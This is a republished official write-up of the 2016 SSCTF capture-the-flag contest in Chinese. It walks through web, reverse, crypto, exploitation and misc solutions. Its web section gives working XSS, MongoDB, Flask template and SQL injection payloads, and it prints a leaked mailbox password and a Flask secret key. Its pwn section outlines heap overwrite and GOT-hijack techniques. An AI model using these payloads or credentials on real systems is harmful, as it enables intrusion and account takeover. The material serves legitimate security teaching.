第二届SSCTF网络攻防大赛官方Writeup

阅读量379623

|

发布时间 : 2016-03-02 19:00:49

https://p0.ssl.qhimg.com/t0128dc0a066b8b497e.jpg

一、Web部分

1、Web 1 — Up!Up!Up!

该题目出题思路是来自于乌云的某个漏洞,链接

将Content-Type内的内容进行大小写变换,filename改为*.php即可绕过检测。

2、Web 2 — Can You Hit Me?

该题出题思路是Angluar JS的客户端模板的JS注入,只做了简单的过滤,直接让其二次输出为正常语句即可触发,将Payload发送到相应邮箱,审核通过之后就会发放Flag。

http://960a23aa.seclover.com/index.php?xss={{%27a%27.coonnstructor.prototype.charAt=[].join;$evevalal(%22x=1}%20}%20};alealertrt(1)//%22);}}

3、Web 3 — Legend?Legend!

该题是MongoDB的注入,相关资料链接
首先获取集合内容:

http://806bddce.seclover.com/news.php?newsid=2%27});return%20{title:tojson(db.getCollectionNames())};//

得到集合名user,然后查询该集合内数据:

http://806bddce.seclover.com/news.php?newsid=2%27});return%20{title:tojson(db.user.find()[0])};//

获得一个邮箱信息:

{ "_id" : ObjectId("56d30bfaea684f010e8b456d"), "username" : "admin", "password" : "*&98*hjhjyu", "email" : "loverctf@126.com" }

登陆该邮箱,在已删除邮件中发现Flag。

4、Web 4 — Flag-Man

该题是一个Flask框架注入, 相关资料链接
使用GitHub的账户登录发现user取的是GitHub的Name,同时指定了Session,后端使用了Flask的Session
我们可以拿到Secure_Key,然后对自己的Session进行签名,拿到签名后的session值,然后修改Cookie拿到Flag。

修改GitHub Name为{{app. secret_key}}即可获得Secure_Key

name:sflkgjsiotu2rjdskjfnpwq9rwrehnpqwd0i2ruruogh9723yrhbfnkdsjl

然后将Flask的签名算法抠出来,进行自签名,得到ID为1的用户的session,相关代码如下(见附件Web04/Poc.py)

Val改为自己的session,运行之后拿到id为1的用户的session

eyJpbmZvIjpbMSxudWxsLDEwODA2ODA2LCJodHRwczovL2F2YXRhcnMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTA4MDY4MDY_dj0zIl19.Cbb0sQ.0gE-Z0mFPqTDvFgc4wwGpXGxUyY

然后修改Cookie中的session即可拿到Flag

另外,该题还有一个远程代码执行漏洞,将GitHub的Name改为相应代码即可实现

            {{os.getcwd()}}                             #获取当前路径
            {{os.listdir()}}                            #获取当前文件列表
            {{__builtins__.open("ssctf.py").read()}}    #读取文件

5、Web 5 — AFSRC-Market

在添加商品这里存在二次注入,提交的数据不同,cost也不同 提交数据的时候需要把payload进行hex编码 正常商品价格是2235

获取字段数

0x313034206F7264657220627920343B23 = hex("104 order by 4;#")

0x313034206F7264657220627920353B23 = hex("104 order by 5;#")

确定字段数为4

获取相应用户token:

0x31303420616E6420313D3220756E696F6E2073656C65637420312C322C746F6B656E2C342066726F6D207573657220776865726520757365726E616D653D277977393338312723 = hex("104 and 1=2 union select 1,2,token,4 from user where username='yw9381'#")

用户yw9381的token为:

f50034bb04df42573495165f51e3fede

获取flag表信息:

0x31303420616E6420313D3220756E696F6E2073656C65637420312C322C666C61672C342066726F6D20666C616723 = hex("104 and 1=2 union select 1,2,flag,4 from flag#")

得到一个tips

    Tips:/2112jb1njIUIJ__tr_R/tips.txt

访问该Tips

得到了token的算法:

token = md5(md5(username) + salt)

然后写脚本跑出来salt,相关代码见附件Web05-Salt.py

得到Salt为8b76d
然后根据tips得知充值可以得到flag,充值过程抓包,修改salt为刚才爆破出来的salt,拿到flag

二、Reverse部分

1、Reverse 1 — Re1

Flag就在内存当中,使用任意一个内存查找工具即可读取。

2、Reverse 2 — Re2

创建40个线程。从最后的MD5比较处往后一步一步推。开始爆破MD5,发现加密字符串的规律后,(HRP三个字符的大小写间隔HpHRpRrPrhPh)MD5爆破并不难。
爆破完成后就是一连串异或,往后逆着推直到开始,题目由异或操作和位移操作组成,出题人因为疏忽造成题目出现问题,造成多解。
(第二天动态验证FLAG,所以任何一种解也能提交)
原本使用的flag:

b669e6f65317ff5fac263573fe24b5a8

下图为测试时相关参数的输出:

3、Reverse 3 — Re3

程序分为两个按钮。左边按钮为真实流程,右边按钮为干扰流程(随意写的验证)。查看资源,可以看到按钮。

编辑框被限制输入0。当然复制除外。

程序为MFC程序,进入对话框初始化,可以看到按钮被ShowWindow隐藏。
修改参数显示按钮。这样就进入正确的处理流程。密码算法为仿射密码。
根据提示1234?,仿射密码的参数为k1=5(零所在的位置,零无法手动输入)。k2=28。
根据K1,K2算出K3。解码仿射密码得到FLAG(数字不参与加密解密)。
从提交上来的WriteUp来看,只有 没有一个系统是安全 战队认出了仿射密码。

爆破也行,编程根据参数解码也可以,下图为编程解码:

输入flag弹出You Got it!

4、Reverse 4 — Re4

第一层密码:[Xi`An4YeCaoAnQuanGongSi][HP]
第一层是RC4加密。从提交上来的WriteUp中来看,没有战队认出加密使用的密码。因为本身就是XOR,并且加密使用的表就在内存里。所以很容易解出第一层。第一层的密码会解码一次绘图坐标信息。
第二层密码:[//XinNianKuaiLe~//] (修改流程情况下,这个值不唯一)
第二层的的算法也很简单。
验证格式,并且求循环计数器的开方和。根据这个和可以轻易判断长度是20位。然后通过位数去XOR一个字符串,字符串再每一位异或得到BYTE值。这个值去异或位数,异或0x0a。得到0x08。用这个值去解码绘图的坐标信息。这个函数只要返回0x08。就可以解码出坐标信息。
进入绘图之后,屏蔽相关遮挡的图形,或者关闭深度检测就看到被加了删除线的FLAG。可以猜,也可以去坐标信息里找到那两条线,屏蔽得到真正的FLAG。
下图为关闭深度检测后的显示:

5、Reverse 5 — Re5

程序主流程为:
读取c盘下的[SsCTF]Re.txt内容,根据内容长度选择不同流程。
长度为3:(第一层)
解码文本为”UDP”。解码代码后代码很简单就是调用BASE64编码输入,与”VURQ”比较。成功则输出IT is UDP。
这一层有验证BUG:当输入3位字符,并且计算出0xE9的,便能通过第一层。第一层通过解码后会有一个偏移错误(因为加密代码是硬编码进去的)。这个错误造成函数计算完内容长度之后直接返回上一层并且返回长度,而长度恰好和比较正确之后返回的值一致,所以也能弹出提示。(此BUG由FlappyPig_Ling发现,提交并解释)。

长度为大于20小于30:(第二层)
使用TEA的解码函数,和内存中的KEY。根据密文,解码得到明:WoyaoDuanKouHaoHeFlag,Pls.
此时显示出:Port:2447。

长度为大于3小于20:(第三层)
对读取到的内容进行赫夫曼编码。与已知编码进行对比。成功则提示You Got it!。(如果爆破这里毫无意义)

其他情况都是使用随机数随机选择一种流程。共5种,另外两种流程没有分析的意义和价值。
赫夫曼编码解码必须有对照表。对照表就在内存里。第一层的时候根据输入解码处正确的码表的前半段(字符)。第二层根据文件内正确的文本内容解码出另一半(’-’ 和‘_’表示1和0)。
下图为对照表:

根据对照表和第三层的对比数据解出flag。
每次提示完成之后都会发送一个UDP包。UDP稍微有意义的内容是通过第二层的文本和正确的端口号(不唯一)解码后得到,残缺的FLAG,你没有看错= =,它是残缺的。(坑)

解码出来就是残缺的FLAG:fl@gMyen1ship0or,缺少重复字符部分(g1s)。

三、Crypto&Exploit部分

1、Crypto 1 — HeHeDa

这题仔细看之后发现就是一个按字节加密。虽然密钥丢失了,但是已经给了提示密钥长度为8的提示。直接按位爆破密钥即可。另外后面我多加了点奇奇怪怪的东西,就是个小坑,没想到还真有人被坑的,直接忽略后面。
相关代码见附件Crypot-1-HeHeDa.py

2、Crypto 2 — Chain Rule

拿到压缩包后,首先解压第一层。遍历找到密码为start的第一个压缩包,得到下一个密码,以此类推。直到得到所有的密码。解压出flag.zip pwd.zip 
相关脚本见附件: Crypto-2-Chain_Rule_1.py
重点在这里:处理pwd.zip。
pwd.zip里面内容的同样是一个文件指向下一个。不过其中有分支,分支会引向循环,需要避开这些循环。需要收集路径上的注释,拼接转码得到最终数据。有多重方法可以避开循环。
第一种就是DFS,比赛中有些队伍用了这种,搜索中进行去重。
第二种,有些队伍很巧妙地从路径的结尾开始搜索,由于这是一个有向图,所以这样就完全避开了循环,写起来也会很简单。
第三种,也就是下面的解法,引入了一个概念:强连通分量。通过找到并剔除图中的强连通分量,便能得到纯粹的路径。
得到正确路径后,获取comments,组合转化。就得到密码。
相关脚本见附件: Crypto-2-Chain_Rule_2.py
输出如下:

一首诗,《When I am dead, my dearest》 by Christina Rossetti 得到密码:

Thispasswordistoolongandyoudon'twanttocrackitbybruteforce

解开:flage.zip 得到flag:SSCTF{Somewhere_Over_The_Rainbow}

3、Crypto 3 — Nonogram

该题游戏规则类似Nonogram,每次执行命令返回一个29*29的二维码数据
在网上寻找开源实现进行复原,给出一个地址:http://www.lancs.ac.uk/~simpsons/nonogram/auto
因为有些JSON存在多个解,部分队伍不断询问是不是数据有问题,其实是因为多个解的问题,部分网站上的开源实现只能处理存在唯一解的情况
复原以后的数据类似:

711523?c562d3262|Next:id|Salt:5193

第一部分是一个16位MD5
第二部分是下一条命令
第三部分是该MD5的盐
对?号位进行爆破反解,发现MD5的加密规则为一位字符+盐
按照顺序依次进行复原/反解,Flag会一位一位的复原出来,给出某队的示例数据:

        b2403b96?8924408|Next:id|Salt:5
        59b6a648?8a85a2f|Next:w|Salt:a
        ebcfd0bc?c532969|Next:eval|Salt:d
        30cfce11?f4fe85d|Next:bash|Salt:1
        6e9b1036?8dd8d17|Next:ls|Salt:c
        679df8e4?564b41e|Next:dir|Salt:f
        f5910cf7?c2038ce|Next:cd|Salt:d
        fe097c88?568babb|Next:mv|Salt:b
        b546a12f?fd23a27|Next:cp|Salt:d
        a02e2bc9?3a6bac3|Next:pwd|Salt:8
        7a375633?0ded05f|Next:tree|Salt:5
        f8ed5d21?44b0e58|Next:apt|Salt:2
        d31687e1?d3968f4|Next:mysql|Salt:d
        aea4e328?1b6f750|Next:php|Salt:6
        806cf412?041837a|Next:head|Salt:f
        4c6579b5?ff05adb|Next:tail|Salt:d
        6e26fb4c?088bb8c|Next:cat|Salt:0
        568125ed?c3f6788|Next:grep|Salt:7
        2a019294?b46a8bf|Next:more|Salt:a
        02a44259?55d38e6|Next:less|Salt:0
        068eef6a?bad3fdf|Next:vim|Salt:d
        d34d9c29?711bdb3|Next:nano|Salt:7
        6ed83efb?5042fb3|Next:sed|Salt:b
        14875e45?ba028a2|Next:awk|Salt:9
        7f4f77fe?3c07fc7|Next:ps|Salt:8
        846186c2?5426d7f|Next:top|Salt:5
        3afb633e?0cdf1b2|Next:kill|Salt:6
        93a36660?d398cc0|Next:find|Salt:e
        5c2045dc?cab22a5|Next:break|Salt:2
        fec0f854?406fee6|Next:gcc|Salt:6
        c178fa57?04c1cc4|Next:debug|Salt:0
        83471fc3?0d828e5|Next:git|Salt:a
        36b90d08?4cf640b|Next:curl|Salt:b
        417303e1?e4c0657|Next:wget|Salt:8
        8e692ca5?84d1abf|Next:gzip|Salt:9
        aa0efb9e?9094440|Next:tar|Salt:9
        c178fa57?04c1cc4|Next:ftp|Salt:0
        6ade2d87?bb13381|Next:ssh|Salt:a
        74b5a988?9bbd4b5|Next:exit|Salt:c

相关代码在Crypto-3-Nonogram.py

4、Exploit 4 — PWN1

该题设计的是一个越界读写漏洞,在查询和修改时可以越界访问一个DWORD,漏洞利用的思路不唯一。 数组结构体定义:

typedef struct _ARRAY {
            int size;
            int arr[1];
        } ARRAY, *PARRAY;

排序结果的定义:

typedef struct _SORTLIST {
            PARRAY cur;
            _SORTLIST* next;
        } SORTLIST, *PSORTLIST;

典型的利用思路是合理构造内存布局,通过越界写操作修改相邻数组结构的size域为0x40000000或以上,再配合堆基址泄露,达到32位进程空间任意读写,泄露system函数地址,修改got拿到shell。

相关代码可参考Nu1L队的利用代码

相关代码

5、Exploit 5 — PWN2

该题目的设计思路是针对pwn1的越界读写漏洞,增加了一个length cookie的缓解机制防止ARRAY结构体中对size域的修改。ARRAY结构体如下:

        typedef struct _ARRAY {
            int size;
            int cookie;
            int arr[1];
        } _ARRAY, *PARRAY;

在查询或修改的时候都会校验长度与cookie值是否匹配,判断如下:

        if((node->size ^ node->cookie) != g_cookie) {
            printf("[*E*] Overwritten detected!n");
            exit(0);
        }

其中g_cookie为全局变量,初始化代码为:

        srand(time(0));
        g_cookie = rand();
1)思路一

随机种子使用的是time(0)生成,它的返回值是以秒为单位,所以如果搞定了pwn1的同学,可以通过同步服务器时间,生成跟服务器一样的cookie值,绕过这种缓解机制。
可参考Nu1L队pwn2利用代码

相关代码

2)思路二

合理构造内存布局,使用越界读写漏洞,修改PSORTLIST结构体的cur域,使其指向data段的g_cookie,由于g_cookie后的一个DWORD恰好是0,此时g_cookie会被当成长度,0会被当成cookie值,于是g_cookie ^ 0 == g_cookie条件成立,在操作history时就会泄露出g_cookie的值。
g_cookie的值泄露以后,伪造ARRAY结构,再利用越界写修改PSORTLIST结构的cur域,使其指向伪造的ARRAY,达到任意地址读写,泄露system函数地址,修改got拿到shell。
可参考FlappyPig队的pwn2利用代码

相关代码

四、Misc部分

1、Misc 1 — Welcome

关注四叶草安全微博之后会私信发送Flag:

2、Misc 2 — Speed Data

该题是一道PDF的隐写,使用wbStego4open进行Decode即可直接发现Flag: 该工具下载地址:http://wbstego.wbailer.com/ 按照向导选择PDF文件,即可生成一个TXT,里面包含Flag

3、Misc 3 — Puzzle

        flag = f[root]
        f[x] = d[x] xor max(f[lson(x)], f[rson(x)]) : x isn't leaf
        f[x] = d[x] : x is leaf

有个wav,下载下来有38.5M,大小明显不对,然后在末尾发现了7z的数据:

中间有00分割,去掉所有00之后,发现有密码
然后回到WAV,在1:54的地方明显听到杂音,猜测这里有数据
总长为3:49=229秒,有问题的在1:54=114秒
大概位于114/229=49.78%≈50%
总长为0268b2620/2 = 1345b10
在这个位置附近寻找,发下如下信息:

{1L0vey0u*.*me}

该字符串即为7Z的密码,解开之后,发现一个类似于树的文件结构,构造方法类似线段树。 不难推测出文件夹 0 是左叶子 1 是右叶子 d 就是 d 那么我们的目标是求根目录的 f,写个递 归构造直接得到(相关代码在附件的Misc-3-Puzzle.py):

        import os
        def calcf(mulu):
            r  =open(mulu+"/d","r")
            rr =r.read()
            r.close()
            d  =int(rr[2:],2)
            ls =os.listdir(mulu)
            if '0' not in ls:
                return d
            else:
                temp1   =calcf(mulu+"/0")
                temp2   =calcf(mulu+"/1")
                maxtemp =temp1
                if temp2>temp1:
                    maxtemp =temp2
                    return d^maxtemp
            print hex(int(calcf("7")))[2:-1].decode("hex")

相关代码见Misc-3-Puzzle.py

4、Misc 4 — Hungry Game

这题是一个游戏,一关一关过去之后,会遇到BOSS,对着BOSS砍15次就可以拿到Flag 第一关:直接跳关

onnextdoor()

第二关:直接跳关

onnextdoor()

第三关:写个JS全自动挖木头

        tmp = 9999;
        data = JSON.stringify([msg('wood', {
            'time': tmp
            })]);
        ws.send(data);

        onnextdoor()

第四关:写个JS全自动挖钻石

        for(i=0;i<200;i++) {
        data = JSON.stringify([msg('diamond', {
        'count': 50
        })]);
        ws.send(data);
        }

        onnextdoor()

第五关:砍BOSS 15次之后就给Flag

data = JSON.stringify([msg('attack', {'x': boss.x,'y': boss.y})]);ws.send(data);attacking = true;

5、Misc 5 — Warrior And Tower III

这题看过之后应该就知道本质就是一个阶梯博弈,但是一开始给你的就是必败态,也就是说你无论如何都赢不了的。

通过观察可以发现AI对于每堆的搬运半径是地图的高度除2。于是只要构造一个在水平方向足够长的肥皂堆,AI就会犯错,FLAG到手。

相关代码

本文转载自: SSCTF

如若转载,请注明出处: http://lab.seclover.com/papers/writeup/

安全KER - 有思想的安全新媒体

分享到:微信
+13赞
收藏
安全客
分享到:微信

发表评论

Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全KER All Rights Reserved 京ICP备08010314号-66